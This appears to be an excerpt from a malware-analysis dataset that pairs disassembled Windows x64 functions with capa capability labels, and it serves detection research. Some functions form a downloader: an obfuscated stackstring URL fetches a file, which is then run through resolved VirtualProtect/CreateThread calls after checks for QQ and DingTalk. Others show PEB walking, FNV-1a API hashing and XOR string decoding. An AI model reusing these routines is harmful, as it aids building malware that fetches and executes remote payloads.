joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140066d50
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp byte [0x1400c4ff8], 0
lea rbp, [0x1400bf290]
mov edi, edx
mov esi, ecx
jne 0x140066e08
mov byte [0x1400c4ff8], 1
call fcn.1400678c4
mov rbx, rax
call fcn.1400678a8
mov r9, rax
cmp rbx, 0x989680
jne 0x140066da2
imul rax, r9, 0x64
jmp 0x140066dc8
cqo
idiv rbx
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov r8, rax
mov rax, r9
cqo
idiv rbx
imul rax, rax, 0x3b9aca00
add rax, r8
mov rdx, rax
mov dword [0x1400bf294], eax
mov eax, 1
nop word [rax + rax]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [rbp + rax*4 + 4], edx
inc rax
cmp rax, 0x270
jb 0x140066de0
mov dword [0x1400bf290], 0x270
lea eax, [rsi - 0x80000000]
mov qword [rsp + 0x20], rbp
mov ebp, 0x80000000
mov qword [rsp + 0x28], 0x20
cmp esi, ebp
mov dword [rsp + 0x30], 0xffffffff
lea rcx, [rsp + 0x20]
lea ebx, [rsi + rbp]
cmovae ebx, eax
lea edx, [rdi + rbp]
cmp edi, ebp
lea eax, [rdi - 0x80000000]
cmovae edx, eax
sub edx, ebx
cmp edx, 0xffffffff
jne 0x140066e52
call fcn.1400667b0
jmp 0x140066e59
inc edx
call fcn.140066530
mov rsi, qword [rsp + 0x60]
lea edx, [rbx + rax]
mov rbx, qword [rsp + 0x50]
lea eax, [rdx + rbp]
cmp edx, ebp
lea ecx, [rdx - 0x80000000]
mov rbp, qword [rsp + 0x58]
cmovae eax, ecx
add rsp, 0x40
pop rdi
ret

Function at 0x140067c94
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140067d18
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140067d18
dec r8
sub rdx, 1
jne 0x140067cfe
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14006aab4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006aafe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006aafe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006aafe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006aafe
cmp dword [rcx + 0x84], 0xe
jbe 0x14006aafe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006ab00
xor al, al
add rsp, 0x28
ret

Function at 0x14007a548
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14007a374

Function at 0x1400838ec
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14008390c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140073b88
or eax, 0xffffffff
jmp 0x14008390e
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001490
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xc8
xor ebx, ebx
mov dword [rbp - 0x11], 0x740068
lea r8, [rbp + 0x67]
mov word [rbp + 0x1b], bx
lea rdx, [rbp + 0x77]
mov qword [rbp + 0x77], rbx
lea rcx, [rbp - 0x11]
mov dword [rbp + 0x67], ebx
mov dword [rbp - 0xd], 0x700074
mov dword [rbp - 9], 0x2f003a
mov dword [rbp - 5], 0x38002f
mov dword [rbp - 1], 0x31002e
mov dword [rbp + 3], 0x380033
mov dword [rbp + 7], 0x39002e
mov dword [rbp + 0xb], 0x31002e
mov dword [rbp + 0xf], 0x380036
mov dword [rbp + 0x13], 0x74002f
mov dword [rbp + 0x17], 0x740061
call fcn.1400012a0
test al, al
jne 0x140001532
lea r9d, [rbx + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsp, 0xc8
pop rbx
pop rbp
ret
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xb8], r12
mov qword [rsp + 0xb0], r13
mov qword [rsp + 0xa8], r14
mov qword [rsp + 0xa0], r15
call fcn.140001ae0
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], bx
je 0x14000157e
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], bx
jne 0x140001571
mov r14, qword [rax + 0x10]
movsxd rax, dword [r14 + 0x3c]
mov ecx, dword [rax + r14 + 0x88]
add rcx, r14
mov esi, dword [rcx + 0x1c]
mov r12d, dword [rcx + 0x20]
add rsi, r14
mov r13d, dword [rcx + 0x24]
add r12, r14
mov edi, dword [rcx + 0x18]
add r13, r14
test rdi, rdi
je 0x1400015dc
nop dword [rax]
movzx eax, word [r13 + rbx*2]
lea rdx, [0x1400146e0]
mov ecx, dword [r12 + rbx*4]
add rcx, r14
mov r15d, dword [rsi + rax*4]
add r15, r14
call fcn.14000c0a0
test eax, eax
je 0x1400015e0
inc rbx
cmp rbx, rdi
jb 0x1400015b0
mov r15, qword [rbp + 0x67]
movdqa xmm0, xmmword [str.WaitForSingleObj]
lea rdx, [rbp - 0x39]
mov rcx, r14
mov dword [rbp - 0x39], 0x74726956
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x35], 0x506c6175
mov dword [rbp - 0x31], 0x65746f72
mov word [rbp - 0x2d], 0x7463
mov byte [rbp - 0x2b], 0
mov dword [rbp - 0x49], 0x61657243
mov dword [rbp - 0x45], 0x68546574
mov dword [rbp - 0x41], 0x64616572
mov byte [rbp - 0x3d], 0
mov dword [rbp - 0x19], 0x746365
call r15
lea rdx, [rbp - 0x49]
mov rcx, r14
mov rdi, rax
call r15
lea rdx, [rbp - 0x29]
mov rcx, r14
mov rsi, rax
call r15
mov rcx, qword [rbp + 0x77]
lea r9, [rbp + 0x6f]
mov edx, 8
mov r14, rax
lea r8d, [rdx + 0x38]
call rdi
mov r8, qword [rbp + 0x77]
xor eax, eax
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call rsi
mov edx, 0xffffffff
mov rcx, rax
call r14
mov r15, qword [rsp + 0xa0]
mov r14, qword [rsp + 0xa8]
mov r13, qword [rsp + 0xb0]
mov r12, qword [rsp + 0xb8]
mov rdi, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xf8]
add rsp, 0xc8
pop rbx
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
movdqa xmm0, xmmword [0x140014940]
lea rdx, [0x140014878]
xor r14d, r14d
movdqa xmmword [rbp + 7], xmm0
lea rcx, [rbp - 9]
mov qword [rbp - 9], r14
lea r8d, [r14 + 0x1e]
call fcn.140001940
movdqa xmm0, xmmword [0x140014940]
lea r8d, [r14 + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp + 0x17]
mov qword [rbp + 0x17], r14
call fcn.140001940
movdqa xmm0, xmmword [0x140014940]
lea r8d, [r14 + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
movdqa xmmword [rbp + 0x47], xmm0
lea rcx, [rbp + 0x37]
mov qword [rbp + 0x37], r14
call fcn.140001940
mov edi, r14d
lea rbx, [rbp - 9]
nop word [rax + rax]
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x14000177d
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001795
inc edi
add rbx, 0x20
cmp edi, 3
jb 0x140001770
jmp 0x14000179a
call fcn.140001490
mov edx, 0x20
lea r9, [0x1400018d0]
lea rcx, [rbp - 9]
lea r8d, [rdx - 0x1d]
call fcn.140001c3c
movdqa xmm0, xmmword [0x140014940]
lea rdx, str.SOFTWAREDingTalk
mov r8d, 0x11
movdqa xmmword [rbp + 7], xmm0
lea rcx, [rbp - 9]
mov qword [rbp - 9], r14
call fcn.140001940
movdqa xmm0, xmmword [0x140014940]
lea rdx, str.SOFTWARETencent
mov r8d, 0x10
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp + 0x17]
mov qword [rbp + 0x17], r14
call fcn.140001940
movdqa xmm0, xmmword [0x140014940]
lea rdx, str.SOFTWAREWOW6432NodeDingTalkSOFTWAREWOW6432NodeTencent
mov r8d, 0x39
movdqa xmmword [rbp + 0x47], xmm0
lea rcx, [rbp + 0x37]
mov qword [rbp + 0x37], r14
call fcn.140001940
mov qword [rbp - 0x19], 0xffffffff80000001
lea rdi, [rbp - 9]
mov rsi, r14
nop word [rax + rax]
mov rbx, r14
cmp qword [rdi + 0x18], 8
mov rdx, rdi
jb 0x140001850
mov rdx, qword [rdi]
mov rcx, qword [rbp + rbx*8 - 0x19]
lea rax, [rbp - 0x11]
mov r9d, 0x20219
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001889
inc rbx
cmp rbx, 1
jb 0x140001843
inc rsi
add rdi, 0x20
cmp rsi, 3
jb 0x140001840
jmp 0x140001898
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140001490
mov edx, 0x20
lea r9, [0x1400018d0]
lea rcx, [rbp - 9]
lea r8d, [rdx - 0x1d]
call fcn.140001c3c
lea r11, [rsp + 0xa0]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140001ae0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x1400049bc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400047e8
Function at 0x140001010
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rbx, rcx
mov ecx, 8
call fcn.140034b2c
test rax, rax
je 0x140001041
mov qword [rax], rdi
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140001390]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x14000108e
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140034fb0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3

Function at 0x140002050
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
sub rsp, 0x48
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xor r8d, r8d
mov byte [rax - 0x28], 0x74
mov r11d, 0xf
mov byte [rax - 0x27], 0x54
movabs r10, 0x5b31c83410e9e431
mov byte [rax - 0x26], 0x55
mov byte [rax - 0x25], 0x4f
mov byte [rax - 0x24], 0x5b
mov byte [rax - 0x23], 0x5f
mov byte [rax - 0x22], 0x52
mov byte [rax - 0x21], 0x4b
mov byte [rax - 0x20], 0x1d
mov byte [rax - 0x1f], 0x7d
mov byte [rax - 0x1e], 0x56
mov byte [rax - 0x1d], 0x44
mov byte [rax - 0x1c], 0x59
mov byte [rax - 0x1b], 0x5e
mov byte [rax - 0x1a], 0x40
mov byte [rax - 0x19], 0x20
mov byte [rax - 0x18], 0x24
mov byte [rax - 0x17], 0x6f
mov byte [rax - 0x16], 0x47
movzx eax, byte [rax - 0x28]
movzx eax, byte [rsp + r8 + 0x20]
mov rcx, r8
and ecx, r11d
mov rdx, r10
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
shr rdx, cl
and dl, r11b
xor dl, al
lea eax, [r8 + 0x31]
xor dl, al
mov byte [rsp + r8 + 0x20], dl
inc r8
cmp r8, 0x13
jb 0x1400020c1
lea rdx, [rsp + 0x20]
mov rcx, r9
call fcn.1400010a0
add rsp, 0x48
ret
Function at 0x140002110
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400021e3
cmp byte [rcx + 0x71], 0
je 0x1400021e3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400021df
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400021a4
sub eax, 1
je 0x1400021a8
cmp eax, 2
jne 0x1400021df
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140034fb0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400021d6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400021df
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000218c
xor al, al
jmp 0x14000218c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140034fb0
add rsp, 0x60
pop rbx
ret
Function at 0x140002310
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rsi
sub rsp, 0x40
mov rcx, qword [0x14003c3e0]
xor esi, esi
mov eax, dword [0x14003c358]
mov dword [0x14003c354], eax
test rcx, rcx
jne 0x1400024ba
mov rax, qword gs:[0x60]
mov r11d, 0xf4d8b55
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbp
mov ebp, esi
mov qword [rsp + 0x38], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov r12, qword [rcx + 0x10]
mov rdi, r12
nop
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test ebp, ebp
je 0x1400023bc
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400023b4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x1400023a0
cmp edx, ebp
jne 0x140002483
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov r10d, ecx
shr r15, 0x20
add r10, r9
cmp r10, r9
je 0x140002483
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x140002483
mov r14d, dword [r10 + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140002437
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140002420
cmp edx, r11d
je 0x140002443
test r8d, r8d
jne 0x140002400
jmp 0x140002483
mov eax, dword [r10 + 0x24]
mov ecx, dword [r10 + 0x1c]
add rax, r9
add rcx, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, r10
jbe 0x140002495
lea rax, [r15 + r10]
cmp rcx, rax
jae 0x140002495
mov ebp, 0x811c9dc5
mov rdi, r12
mov dword [rsp + 0x50], ebp
mov dword [rsp + 0x54], ebp
mov r11, qword [rsp + 0x50]
shr r11, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
jne 0x140002370
mov rcx, rsi
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov qword [0x14003c3e0], rcx
call rcx
mov ecx, dword [0x14003c354]
mov dword [0x14003c358], eax
test ecx, ecx
je 0x140002558
sub eax, ecx
cmp eax, 0x1770
jbe 0x140002558
mov byte [rsp + 0x50], 0xa4
mov r9d, 0xf
mov byte [rsp + 0x51], 0x90
movabs r8, 0x2f2fa6ccb9424bf5
mov byte [rsp + 0x52], 0x91
mov byte [rsp + 0x53], 0x99
mov byte [rsp + 0x54], 0xfb
movzx eax, byte [rsp + 0x50]
nop dword [rax + rax]
movzx eax, byte [rsp + rsi + 0x50]
mov rcx, rsi
and ecx, r9d
mov rdx, r8
cmp rcx, r9
cmovae rcx, r9
shl cl, 2
shr rdx, cl
and dl, r9b
xor dl, al
lea eax, [rsi - 0xb]
xor dl, al
mov byte [rsp + rsi + 0x50], dl
inc rsi
cmp rsi, 5
jb 0x140002510
lea rcx, [rsp + 0x50]
call fcn.140005490
mov qword [0], 1
xor eax, eax
add rsp, 0x40
pop rsi
ret
Function at 0x140005280
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x14003c420]
test rax, rax
jne 0x140005465
xor r10d, r10d
mov dword [rsp + 0x28], r10d
mov eax, 0xfaba0065
mov dword [rsp + 0x24], eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov r11, qword [rcx + 0x10]
mov qword [rsp + 0x48], r11
mov r15, r11
mov qword [rsp + 0x50], r11
mov rcx, r11
nop dword [rax + rax]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
test r10d, r10d
je 0x140005336
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
mov qword [rsp + 0x38], rdx
cmp rdx, r9
je 0x14000532d
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
jmp 0x140005310
cmp r8d, r10d
jne 0x140005445
mov rbx, qword [r11 + 0x30]
mov qword [rsp + 0x68], rbx
movsxd rcx, dword [rbx + 0x3c]
mov r14, qword [rcx + rbx + 0x88]
mov qword [rsp + 0xa8], r14
mov r9d, r14d
add r9, rbx
mov qword [rsp + 0x70], r9
shr r14, 0x20
mov dword [rsp + 0x78], r14d
cmp r9, rbx
je 0x140005445
mov edi, dword [r9 + 0x18]
mov dword [rsp + 0x20], edi
nop dword [rax + rax]
mov ecx, edi
dec edi
mov dword [rsp + 0x20], edi
test ecx, ecx
je 0x140005445
mov edx, dword [r9 + 0x20]
add rdx, rbx
mov r8d, dword [rdx + rdi*4]
add r8, rbx
mov qword [rsp + 0x40], r8
mov edx, 0x811c9dc5
nop dword [rax + rax]
movsx ecx, byte [r8]
inc r8
mov qword [rsp + 0x40], r8
test cl, cl
jne 0x140005438
cmp edx, eax
jne 0x140005433
mov ecx, dword [r9 + 0x1c]
add rcx, rbx
mov eax, dword [r9 + 0x24]
add rax, rbx
movzx eax, word [rax + rdi*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
cmp rdx, r9
jbe 0x14000545b
lea rax, [r9 + r14]
cmp rdx, rax
jae 0x14000545b
mov r10d, 0x811c9dc5
mov dword [rsp + 0xa0], r10d
mov eax, r10d
mov dword [rsp + 0xa4], eax
mov qword [rsp + 0x30], rdx
cmp byte [rdx], 0x2e
je 0x140005411
inc rdx
jmp 0x140005402
inc rdx
mov qword [rsp + 0x30], rdx
cmp byte [rdx], 0
je 0x140005420
jmp 0x140005411
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x28], r10d
mov r11, r15
mov qword [rsp + 0x48], r15
jmp 0x140005445
jmp 0x140005380
xor ecx, edx
imul edx, ecx, 0x1000193
jmp 0x1400053b0
mov r11, qword [r11]
mov rcx, r11
mov qword [rsp + 0x48], r11
cmp r11, r15
jne 0x1400052e0
xor edx, edx
mov qword [0x14003c420], rdx
mov rax, rdx
mov ecx, 0x13333337
call rax
jmp 0x140005470
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140005490
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x30
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rbx, rcx
mov byte [rax - 0x18], 0x45
xor r8d, r8d
mov byte [rax - 0x17], 0x5e
mov r11d, 0xf
mov byte [rax - 0x16], 0x5f
movabs r10, 0x1eb687757ea3322d
mov byte [rax - 0x15], 0x5c
mov byte [rax - 0x14], 0x40
mov byte [rax - 0x13], 0x18
mov byte [rax - 0x12], 7
mov byte [rax - 0x11], 0x13
mov byte [rax - 0x10], 0x30
movzx eax, byte [rax - 0x18]
movzx eax, byte [rsp + r8 + 0x20]
mov rcx, r8
and ecx, r11d
mov rdx, r10
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
shr rdx, cl
and dl, r11b
xor dl, al
lea eax, [r8 + 0x2d]
xor dl, al
mov byte [rsp + r8 + 0x20], dl
inc r8
cmp r8, 9
jb 0x1400054e1
lea rdx, [rsp + 0x20]
mov rcx, r9
call fcn.1400010a0
mov rcx, rax
mov rdx, rbx
call fcn.1400010a0
lea rdx, [0x140001530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400055c7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400055c7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400055c2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400055a0
cmp r8d, 0x2fa62ca8
je 0x1400055cc
test r9d, r9d
jne 0x140005580
mov rax, qword [rax]
jmp 0x140005550
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 1
add rax, r10
call rax
mov rbx, qword [rsp + 0x40]
mov qword [0], 1
add rsp, 0x30
pop rdi
ret
Function at 0x1400077b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, edx
mov rdi, rcx
cmp edx, 0xffffffff
jne 0x1400077dd
xor eax, eax
jmp 0x140007946
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14000781d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, rbx
jae 0x14000781d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], sil
mov eax, esi
jmp 0x14000793e
cmp qword [rdi + 0x80], 0
je 0x140007939
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rdi + 0x70]
cmp rax, rcx
jne 0x140007857
mov rdx, qword [rdi + 0x88]
mov rcx, rdi
mov r9, qword [rdi + 0x90]
mov r8, rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x140007882
mov rdx, qword [rdi + 0x80]
movsx ecx, sil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x14000793e
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], sil
mov qword [rsp + 0x38], rax
lea rdx, [rdi + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400078f1
sub eax, 1
je 0x1400078f1
cmp eax, 2
jne 0x140007939
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rdi + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x14000793e
mov rbx, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbx, rax
je 0x14000791f
mov r9, qword [rdi + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x140007939
lea rax, [rsp + 0x50]
mov byte [rdi + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, esi
mov eax, ecx
jmp 0x14000793e
mov eax, 0xffffffff
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140034fb0
mov rsi, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret